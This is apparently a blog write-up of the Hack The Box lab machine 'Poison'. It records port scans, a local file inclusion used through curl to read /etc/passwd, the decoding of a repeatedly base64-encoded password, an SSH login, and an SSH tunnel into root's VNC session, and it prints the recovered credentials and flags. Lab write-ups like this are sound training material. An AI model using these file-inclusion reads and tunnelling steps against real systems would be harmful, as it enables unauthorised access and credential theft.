Poison – Hackthebox
Skills Required
Basic knowledge of Linux
Enumerating ports and services
Basic understanding of cryptography
Skills Learned
SSH Tunneling
VNCViewer commands
Grep -vE to select non-matching lines
START
Initial port scan
[root:~/Desktop/poison]# nmap -p- 10.10.10.84 -oA portscan Starting Nmap 7.70 ( https://nmap.org ) at 2018-04-09 15:11 BST Nmap scan report for 10.10.10.84 Host is up, received echo-reply ttl 63 (0.035s latency). Not shown: 54531 filtered ports, 10999 closed ports Reason: 54531 no-responses and 10999 resets Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 5802/tcp open vnc-http-2 syn-ack ttl 63 5902/tcp open vnc-2 syn-ack ttl 63 6002/tcp open X11:2 syn-ack ttl 63
Enum Ports
[root:~/Desktop/poison]# nmap -sC -sV -p 22,80,5802,5902,6002 10.10.10.84 -oA enumports Starting Nmap 7.70 ( https://nmap.org ) at 2018-04-09 15:13 BST Nmap scan report for 10.10.10.84 Host is up, received echo-reply ttl 63 (0.033s latency). PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) | ssh-hostkey: | 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA) | 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA) |_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519) 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32) |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32 https://wordpress.com/post/offsecnewbie.wordpress.com/32|_http-title: Site doesn't have a title (text/html; charset=UTF-8). 5802/tcp open http syn-ack ttl 63 Bacula http config 5902/tcp open vnc syn-ack ttl 63 VNC (protocol 3.8) | vnc-info: | Protocol version: 3.8 | Security types: | VNC Authentication (2) | Tight (16) | Tight auth subtypes: |_ STDV VNCAUTH_ (2) 6002/tcp open X11 syn-ack ttl 63 (access denied) Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.27 seconds
nmap http enum
[root:~/Desktop/poison]# nmap -Pn -p 80 --script http-enum 10.10.10.84 Starting Nmap 7.70 ( https://nmap.org ) at 2018-04-09 15:15 BST Nmap scan report for 10.10.10.84 Host is up, received user-set (0.032s latency). PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 63 | http-enum: | /info.php: Possible information file |_ /phpinfo.php: Possible information file Nmap done: 1 IP address (1 host up) scanned in 3.42 seconds
Here is what we can see from the website.
Warning: include(testscript.php): failed to open stream: No such file or directory in /usr/local/www/apache24/data/browse.php on line 2
Warning: include(): Failed opening 'testscript.php' for inclusion (include_path='.:/usr/local/www/apache24/data') in /usr/local/www/apache24/data/browse.php on line 2
Now to search for possible LFI
[root:~/Desktop/poison]# fimap -u "http://10.10.10.84/browse.php?file=" [2/1957] fimap v.1.00_svn (My life for Aiur) :: Automatic LFI/RFI scanner and exploiter :: by Iman Karim (fimap.dev@gmail.com) SingleScan is testing URL: 'http://10.10.10.84/browse.php?file=' [14:53:52] [OUT] Inspecting URL 'http://10.10.10.84/browse.php?file='... [14:53:52] [INFO] Fiddling around with URL... [14:53:52] [OUT] [PHP] Possible file inclusion found! -> 'http://10.10.10.84/browse.php?file=z2hu63pz' with Parameter 'file'. [14:53:52] [OUT] [PHP] Identifying Vulnerability 'http://10.10.10.84/browse.php?file=' with Parameter 'file'... [14:53:53] [INFO] Scriptpath received: '/usr/local/www/apache24/data' [14:53:53] [INFO] Operating System is 'Unix-Like'. [14:53:53] [INFO] Testing file '/etc/passwd'... [14:53:53] [INFO] Testing file '/proc/self/environ'... [14:53:53] [INFO] Testing file 'php://input'... .... .... ######################################################## #[1] Possible PHP-File Inclusion # ######################################################## #::REQUEST # # [URL] http://10.10.10.84/browse.php?file= # # [HEAD SENT] # #::VULN INFO # # [GET PARAM] file # # [PATH] /usr/local/www/apache24/data # # [OS] Unix # # [TYPE] Absolute Clean # # [TRUNCATION] No Need. It's clean. # # [READABLE FILES] # # [0] /etc/passwd # ########################################################
Got access to the /etc/passwd file
[root:~/Desktop/poison]# curl -s http://10.10.10.84/browse.php\?file\=/etc/passwd root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin _ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin _tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin charix:*:1001:1001:charix:/home/charix:/bin/csh
I copied that to a file called passwdfile then did an inverted grep search of that file pulling out the users that have login abilities. I must remember that command in future its very useful!
[root:~/Desktop/poison]# nano passwdfile [root:~/Desktop/poison]# grep -vE nologin passwdfile root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico charix:*:1001:1001:charix:/home/charix:/bin/csh
So we have 4 users will login abilities: root, a user toor with superuser access, uucp – no clue what this user has and what looks like a started user charix. Lets save them off to a file users. I tried sshing some of those users with a few random passwords – no luck (didn’t expect anything but no harm in trying!)
Okay looking at the main webpage again I added the file names to see if i can access them
ini.php, info.php, listfiles.php, phpinfo.php
listfiles.php gave me
Array
(
[0] => .
[1] => ..
[2] => browse.php
[3] => index.php
[4] => info.php
[5] => ini.php
[6] => listfiles.php
[7] => phpinfo.php
[8] => pwdbackup.txt
)
I think i nearly broke the keyboard with excitement typing pwdbackup.txt in the to web address bar! We’re getting somewhere!
This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=
I went to https://codebeautify.org/base64-decode and input the code. I copied the code from the several times from the decoded and pasted into the coded section ( probably 13 as the previous web page suggested ) and got something that looked like the password for user charix
The password is Charix!2#4%6&8(0 I ssh'd in using that password [root:~/Desktop/poison]# ssh charix@10.10.10.84 Password for charix@Poison: Last login: Mon Apr 9 15:44:16 2018 from :2 FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017 Welcome to FreeBSD! ........ ........ Edit /etc/motd to change this login announcement. Want to go the directory you were just in? Type "cd -" charix@Poison:~ % ls -l │ total 44 │ -rw-r----- 1 root charix 166 Mar 19 16:35 secret.zip │ -rw-r----- 1 root charix 33 Mar 19 16:11 user.txt │ charix@Poison:~ % cat user.txt │ eaacdfb2d141b72a589233063604209c
I copied lineenum.py on my kali box and started a webserver so i could download it using wget from the Poison machine.
I tried to run it but got an error Command not found.
charix@Poison:~ % ./linenum.sh ./linenum.sh: Command not found. carix@Poison:~ %
Not sure whats going on there. Not deterred I downloaded the secret.zip file to kali machine using Python’s SimpleHTTPServer.
[root:~/Desktop/poison]# unzip secret.zip COPYRIGHT entropy libexec proc sys │Archive: secret.zip bin etc media rescue tmp │[secret.zip] secret password:
I unzipped secret.zip using the charix password – password re-usage ftw and got a file called secret. It had strange characters inside it:
[root:~/Desktop/poison]# cat secret [|Ֆz!# [root:~/Desktop/poison]#
After sometime (read 2 days) i finally started to make progress. I ran the top command as user Charix and noticed Xvnc was running
last pid: 88296; load averages: 1.60, 1.67, 1.77 up 1+17:28:06 16:39:27 38 processes: 2 running, 36 sleeping CPU: 7.1% user, 0.0% nice, 92.5% system, 0.4% interrupt, 0.0% idle Mem: 4412K Active, 685M Inact, 36M Laundry, 196M Wired, 66M Buf, 44M Free Swap: 1024M Total, 1492K Used, 1022M Free Number of processes to show: PID USERNAME THR PRI NICE SIZE RES STATE TIME WCPU COMMAND 2962 charix 1 103 0 22692K 6648K RUN 23.1H 99.78% Xvnc 543 root 2 20 0 56320K 3444K select 4:03 0.06% vmtoolsd 88296 charix 1 20 0 20160K 3120K RUN 0:00 0.05% top 319 root 1 20 0 9560K 3040K select 0:12 0.01% devd 21364 charix 1 20 0 85228K 7388K select 0:01 0.01% sshd 642 root 1 20 0 20636K 3540K select 0:05 0.01% sendmail 390 root 1 20 0 10500K 1920K select 0:06 0.00% syslogd 625 root 1 20 0 99172K 6068K select 0:08 0.00% httpd 3092 www 1 20 0 99M 7164K lockf 0:02 0.00% httpd 649 root 1 20 0 12592K 1864K nanslp 0:01 0.00% cron 3076 www 1 20 0 99M 7260K lockf 0:01 0.00% httpd
On my kali machine i ran:
vncviewer 10.10.10.84:5902 Connected to RFB server, using protocol version 3.8 Enabling TightVNC protocol extensions Performing standard VNC authentication Password: Authentication successful Desktop name "charix's X desktop (Poison:2)"
I used Charix’s ssh password: Charix!2#4%6&8(0
I can see there are 2 sessions one for root and one for the user charix. Im struggling to find a way to connect to the root session
charix@Poison:/usr/local/sbin % ps aux | grep vnc charix 2962 100.0 0.8 24740 8084 1- R Mon15 2584:59.86 Xvnc :2 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /home/charix/.Xauthority -geometry 1024x768 -depth 24 -rfbwait 120000 -rfb root 529 0.0 0.7 23608 7456 v0- I Sun23 0:00.83 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /r charix 91126 0.0 0.0 412 316 0 R+ 13:13 0:00.00 grep vnc charix@Poison:/usr/local/sbin %
I know that i have to use the secret file I unzipped from the secret.zip file but no idea on how to use it.
I restarted the box out of desperation and started a port scan. This time only 2 ports were open
[root:~/Desktop/poison]# nmap -p- 10.10.10.84 Starting Nmap 7.70 ( https://nmap.org ) at 2018-04-11 14:44 BST Nmap scan report for 10.10.10.84 Host is up, received echo-reply ttl 63 (0.029s latency). Not shown: 54549 filtered ports, 10984 closed ports Reason: 54549 no-responses and 10984 resets Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Nmap done: 1 IP address (1 host up) scanned in 55.50 seconds
Okay so i figured i need to use vncviewer to log on to the root’s vnc account using the secret password. I couldnt do this from charix ssh as I got this error:
charix@Poison:~ % vncviewer vncviewer: Command not found. charix@Poison:~ %
I needed to use tunneling of some sort. I found this blog and browsed to Local Port Forwarding.
ssh sshserver -L <local port to listen>:<remote host>:<remote port>
ssh -L 5901:localhost:5901 charix@10.10.10.84
I am linking the port 5901 on my machine to port 5901 on the machine I want to tunnel to. I am logging in as charix through ssh. So if a service connects to port 5901 on my machine it will be redirected to ssh to 10.10.10.84 using charix’s username
On my kali machine i ran this command using the secret i got earlier.
[root:~/Desktop/poison]# vncviewer localhost:5901 -passwd secret Connected to RFB server, using protocol version 3.8 Enabling TightVNC protocol extensions Performing standard VNC authentication Authentication successful Desktop name "root's X desktop (Poison:1)" VNC server default format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using default colormap which is TrueColor. Pixel format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Same machine: preferring raw encoding
I managed to get in as root. It wasn’t easy to copy the password so I started a python http server to get the flag.
716d04b188419cf2bb99d891272361f5
FIN
CONCLUSION
This was tough. I got the user flag without any major difficulties / me throwing tantrums but the root flag had me beat. I knew of ssh tunneling but never used it before. What I think has thrown me off was the fact that there were ports open previously when I was attacking machine and could vnc as charix without any issues. Someone on the htb group said there should only be 2 and I should restart the box. I did this and as you read only 2 ports came up. I think then after I did the ps aux | grep vnc I would see that root vnc was running. Also I did a socket -l to view ports.